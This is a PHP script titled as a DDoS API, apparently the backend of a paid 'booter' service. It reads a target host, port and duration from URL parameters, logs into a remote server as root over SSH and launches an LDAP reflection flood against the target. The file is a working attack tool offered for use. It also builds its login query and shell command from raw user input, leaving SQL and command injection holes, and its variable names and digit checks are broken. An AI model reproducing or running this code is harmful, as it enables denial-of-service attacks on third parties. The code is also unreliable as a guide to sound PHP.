DDos PhP Api

<?php

include 'includes/config.php';

ignore_user_abort(true);
set_time_limit(1000);

$host = $_GET['host'];
$port = $_GET['port'];
$time = $_GET['time'];
$method = $_GET['method'];
$username = $_GET['username'];
$password = $_GET['password'];

$sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = $connection->query($sql);

if (!$row = $result->fetch_assoc()) {
die('Error: Username or password is incorrect!');
} else {
  echo "Username and password exists and are correct!";
}

$serverip = "";
$serveruser = "root";
$serverpass = "";

$array = array("LDAP");

if (!empty($time)){
}else{
die('Error: time is empty!');}
if (!empty($host)){
}else{
die('Error: Host is empty!');}
if (!empty($method)){
}else{
die('Error: Method is empty!');}
if (!empty($username)){
}else{
die('Error: Username is empty!');}
if (!empty($password)){
}else{
die('Error: Password is empty!');}
if (in_array($method, $array)){
}else{
die('Error: The method you requested does not exist!');}
if ($port > 44405){
die('Error: Ports over 44405 do not exist');}
if ($time > 1000){
die('Error: Cannot exceed 1000 seconds!');}
if(ctype_digit($Time)){
die('Error: Time is not in numeric form!');}
if(ctype_digit($Port)){
die('Error: Port is not in numeric form!');}

if ($method == "LDAP") { $command = "./ldap $host $port ldap.txt 7 -1 $time"; }

if (!function_exists("ssh2_connect")) die("Error: SSH2 does not exist on you're server");
if(!($con = ssh2_connect($server_ip, 22))){
  echo "Error: Connection Issue";
} else {
    if(!ssh2_auth_password($con, $server_user, $server_pass)) {
    echo "Error: Login failed, one or more of you're server credentials are incorrect.";
    } else {

        if (!($stream = ssh2_exec($con, $command ))) {
            echo "Error: You're server was not able to execute you're methods file and or its dependencies";
        } else {
            stream_set_blocking($stream, false);
            $data = "";
            while ($buf = fread($stream,4096)) {
                $data .= $buf;
            }
            echo "Attack started!!</br>Hitting: $host</br>On Port: $port </br>Attack Length: $time</br>With: $method";
            fclose($stream);
        }
    }
}
?>